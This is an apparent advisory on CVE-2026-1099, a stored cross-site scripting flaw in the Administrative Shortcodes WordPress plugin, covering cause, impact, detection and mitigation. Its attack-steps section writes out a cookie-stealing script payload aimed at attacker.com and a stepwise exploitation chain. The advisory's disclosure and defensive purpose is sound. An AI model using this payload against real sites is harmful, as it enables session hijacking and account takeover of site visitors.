CVE-2026-1099: 
WordPress vulnerability analysis and mitigation

CVE-2026-1099 is a Stored Cross-Site Scripting (XSS) vulnerability in the Administrative Shortcodes plugin for WordPress, affecting all versions up to and including 0.3.4. The flaw exists in the handling of the login and logout shortcode attributes due to insufficient input sanitization and output escaping. It was published on January 24, 2026, with Wordfence as the assigning CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The plugin fails to properly sanitize user-supplied input passed through the login and logout shortcode attributes, and does not escape the output before rendering it in the browser. An authenticated attacker with at least Contributor-level access can embed malicious JavaScript within a WordPress page or post using these shortcodes; the script executes in the context of any user who subsequently visits the affected page. The vulnerable code is visible in the plugin source at line 196 of administrative-shortcodes.php (WordPress Plugin Trac, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all users who visit the compromised page. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While availability is not directly impacted, the confidentiality and integrity of user sessions and site content are at risk, and administrator accounts could be compromised if an admin visits an injected page (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1099. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Administrative Shortcodes plugin version 0.3.4 or earlier. This can be done by checking the plugin's readme or version file, or by observing shortcode usage in page source.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert a shortcode with a malicious payload in the login or logout attribute, for example: [admin_login login="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the page: Submit the post or page for publication (or save as draft if review is required). The injected script is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing shortcode content with <script> tags or encoded JavaScript in the login or logout shortcode attributes.
• Database: WordPress wp_posts table entries containing [admin_login or [admin_logout shortcodes with embedded JavaScript or HTML event handlers in the attribute values.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing Administrative Shortcodes plugin output; potential exfiltration of cookie data via GET parameters.
• File System: No direct file system artifacts expected for this stored XSS, but review plugin files at wp-content/plugins/administrative-shortcodes/administrative-shortcodes.php for unauthorized modifications.

WordPress site administrators should update the Administrative Shortcodes plugin to a version beyond 0.3.4 that includes proper input sanitization and output escaping fixes. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also audit existing posts and pages for any shortcode content containing suspicious JavaScript, and review user accounts with Contributor-level access or above for unauthorized additions (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability intelligence report for the week of January 19–25, 2026, and published a dedicated threat intelligence entry (Wordfence Weekly Report). The vulnerability was also tracked by the ENISA European Vulnerability Database (EUVD-2026-4560) and noted by Red Hat's CVE tracking system, though no significant community debate or media coverage has been identified beyond standard aggregator reporting.